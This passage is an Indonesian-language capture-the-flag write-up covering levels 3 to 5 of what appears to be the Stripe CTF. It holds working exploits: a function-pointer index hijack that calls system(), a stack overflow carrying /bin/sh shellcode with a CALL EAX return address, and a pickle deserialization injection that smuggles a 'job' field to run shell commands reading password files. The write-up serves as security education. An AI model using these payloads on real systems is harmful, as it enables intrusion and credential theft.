Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.

Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.

Ternyata penyebabnya adalah non-executable stack:

$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv

Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.


Cara 2

Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.

level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>'
0804875b <run>:

Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:

cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08

Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).

$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
 
Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
    at level03.c:62
 
(gdb) x/12xw &buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b <run>

Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().

Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().

$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP

Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.

Level 04

Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password

Congratulations on making it to level 4!
 
The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!

Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Source code dari aplikasi ini adalah:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}
 
int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}

Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.

Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:

[1036 byte shellcode + lain2] + [4 byte return address]

Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?

Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.

Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.

$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax

Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.

Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"

Sekarang payload sudah siap, bisa langsung kita coba.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.

Congratulations on making it to level 5! You're almost done!
 
The password for the next (and final) level is in /home/level06/.password.
 
As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:
 
  curl localhost:9020 -d 'hello friend'
  {
      "processing_time": 5.0067901611328125e-06,
      "queue_time": 0.41274619102478027,
      "result": "HELLO FRIEND"
  }
 
You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.
 
Could it be that this seemingly innocuous service will be level06's
downfall?

Source code aplikasi ini adalah:

#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
 
LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))
 
TMPDIR = '/tmp/level05'
 
 
class Job(object):
    QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
    QUEUE_RESULTS = os.path.join(TMPDIR, 'results')
 
    def __init__(self):
        self.id = self.generate_id()
        self.created = time.time()
        self.started = None
        self.completed = None
 
    def generate_id(self):
        return ''.join([random.choice(string.ascii_letters) for i in range(20)])
 
    def job_file(self):
        return os.path.join(self.QUEUE_JOBS, self.id)
 
    def result_file(self):
        return os.path.join(self.QUEUE_RESULTS, self.id)
 
    def start(self):
        self.started = time.time()
 
    def complete(self):
        self.completed = time.time()
 
 
class QueueUtils(object):
    @staticmethod
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job
 
    @staticmethod
    def serialize(direction, data, job):
        serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
        logger.debug('Serialized to: %r' % serialized)
        return serialized
 
    @staticmethod
    def enqueue(type, data, job):
        logger.info('Writing out %s data for job id %s' % (type, job.id))
        if type == 'JOB':
            file = job.job_file()
        elif type == 'RESULT':
            file = job.result_file()
        else:
            raise ValueError('Invalid type %s' % type)
 
        serialized = QueueUtils.serialize(type, data, job)
        with open(file, 'w') as f:
            f.write(serialized)
            f.close()
 
 
class QueueServer(object):
    # Called in server
    def run_job(self, data, job):
        QueueUtils.enqueue('JOB', data, job)
        result = self.wait(job)
        if not result:
            result = (None, 'Job timed out', None)
        return result
 
    def wait(self, job):
        job_complete = False
        for i in range(10):
            if os.path.exists(job.result_file()):
                logger.debug('Results file %s found' % job.result_file())
                job_complete = True
                break
            else:
                logger.debug('Results file %s does not exist; sleeping' % job.result_file())
                time.sleep(0.2)
 
        if job_complete:
            f = open(job.result_file())
            result = f.read()
            os.unlink(job.result_file())
            return QueueUtils.deserialize(result)
        else:
            return None
 
 
class QueueWorker(object):
    def __init__(self):
        # ensure tmp directories exist
        if not os.path.exists(Job.QUEUE_JOBS):
            os.mkdir(Job.QUEUE_JOBS)
        if not os.path.exists(Job.QUEUE_RESULTS):
            os.mkdir(Job.QUEUE_RESULTS)
 
    def poll(self):
        while True:
            available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
            for job_file in available_jobs:
                try:
                    self.process(job_file)
                except Exception, e:
                    logger.error('Error processing %s' % job_file)
                    traceback.print_exc()
                else:
                    logger.debug('Successfully processed %s' % job_file)
                finally:
                    os.unlink(job_file)
            if available_jobs:
                logger.info('Processed %d available jobs' % len(available_jobs))
            else:
                time.sleep(1)
 
    def process(self, job_file):
        serialized = open(job_file).read()
        type, data, job = QueueUtils.deserialize(serialized)
 
        job.start()
        result_data = self.perform(data)
        job.complete()
 
        QueueUtils.enqueue('RESULT', result_data, job)
 
    def perform(self, data):
        return data.upper()
 
 
class QueueHttpServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(404)
        self.send_header('Content-type','text/plain')
        self.end_headers()
 
        output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
        self.wfile.write(json.dumps(output))
        self.wfile.close()
 
    def do_POST(self):
        length = int(self.headers.getheader('content-length'))
        post_data = self.rfile.read(length)
        raw_data = urllib.unquote(post_data)
 
        queue = QueueServer()
        job = Job()
        type, data, job = queue.run_job(data=raw_data, job=job)
        if job:
            status = 200
            output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
        else:
            status = 504
            output = { 'result' : data }
 
        self.send_response(status)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
        self.wfile.write('\n')
        self.wfile.close()
 
def run_server():
    try:
        server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
        logger.info('Starting QueueServer')
        server.serve_forever()
    except KeyboardInterrupt:
        logger.info('^C received, shutting down server')
        server.socket.close()
 
def run_worker():
    worker = QueueWorker()
    worker.poll()
 
def main():
    parser = optparse.OptionParser("""%prog [options] type""")
    parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
                      dest='verbosity', action='count', default=0)
    opts, args = parser.parse_args()
    if opts.verbosity == 1:
        logger.setLevel(logging.INFO)
    elif opts.verbosity >= 2:
        logger.setLevel(logging.DEBUG)
 
    if len(args) != 1:
        parser.print_help()
        return 1
 
    if args[0] == 'worker':
        run_worker()
    elif args[0] == 'server':
        run_server()
    else:
        raise ValueError('Invalid type %s' % args[0])
 
    return 0
 
if __name__ == '__main__':
    sys.exit(main())

Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.

Problem utamanya adalah pada fungsi deserialize() di bawah ini:

1
2
3
4
5
6
7
8
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.

Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:

curl localhost:9020 -d 'testdata'

Berikut ini adalah log yang terlihat:

1
2
Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb."
TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <--

Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan bagian dari field job.

Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:

cos
system
(S'cat /etc/passwd'
tR.

String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.

Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?

Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input string yang mengandung karakter ‘;’ seperti ini:

curl localhost:9020 -d 'inidata; job: inijob'

Berikut adalah log yang terlihat:

Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--

Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ‘;’ dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’ menjadi bagian dari field job.

Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.

$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
    "result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj